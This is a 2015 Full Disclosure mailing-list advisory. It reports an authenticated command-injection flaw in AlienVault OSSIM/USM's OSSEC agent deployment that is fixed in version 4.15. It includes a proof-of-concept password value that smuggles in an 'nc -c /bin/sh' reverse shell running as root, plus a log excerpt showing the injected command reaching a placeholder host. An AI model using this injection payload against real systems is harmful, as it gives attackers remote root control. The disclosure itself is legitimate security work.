full-disclosure - [FD] Alienvault OSSIM/USM Command Execution Vulnerability

Open Source and information security mailing list archives

Message-ID: <CAB0hXMpw5VLBKruEOqBN88f5==VOErQPYZaVY+_Bj=LGZC3XJg@mail.gmail.com>
Date: Thu, 15 Jan 2015 09:59:16 -0600
From: Peter Lapp <lappsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Alienvault OSSIM/USM Command Execution Vulnerability

Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: Command Execution
Author: Peter Lapp, lappsec@...il.com
CVE: None assigned
Vulnerable Versions: <=4.14.X
Fixed Version: 4.15.0

Summary
=======

Alienvault OSSIM is an open source SIEM solution designed to collect
and correlate log data. The automatic deployment option for OSSEC
agents is vulnerable to command execution as root. Authentication to
the web UI is required to exploit this vulnerability.

Technical Details and POC
=========================

The web UI allows a user to automatically deploy OSSEC agents to
Windows hosts when supplied with a username and password. The username
and password are passed unfiltered to a command that runs as root. By
simply providing a password of "fakepass | nc -c /bin/sh X.X.X.X 1234
| " a reverse shell is created and root access to the operating system
is obtained.

The user.log shows the input as it is passed to the command:

Dec 18 16:42:28 ossim-server ansible-command: Invoked with
executable=/bin/bash shell=True args= program_files_x86=$(winexe
--user=/test%fakepass | nc -c /bin/sh 10.10.10.10 1234 |
//10.10.10.199 'cmd /c set' | grep "^ProgramFiles(x86)=" | cut -d'='
-f 2-); program_files_x64=$(winexe --user=/test%fakepass | nc -c
/bin/sh 10.10.10.10 1234 |  //10.10.10.199 'cmd /c set' | grep
"^ProgramFiles=" | cut -d'=' -f 2-); [[ $program_files_x86 ]] && echo
$program_files_x86 || echo $program_files_x64  removes=None
creates=None chdir=None

Solution
========

Upgrade to v4.15

References
==========

https://www.alienvault.com/forums/discussion/4414/alienvault-v4-15-functional-release
 (ENG-98338)

Timeline
========
12/18/14 - Reported the vulnerability to the vendor and received
confirmation that a defect was filed.
01/14/15 - Vendor confirmed the issue was fixed and patch available.
01/15/15 - Confirmed vulnerability was no longer exploitable and released info.

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives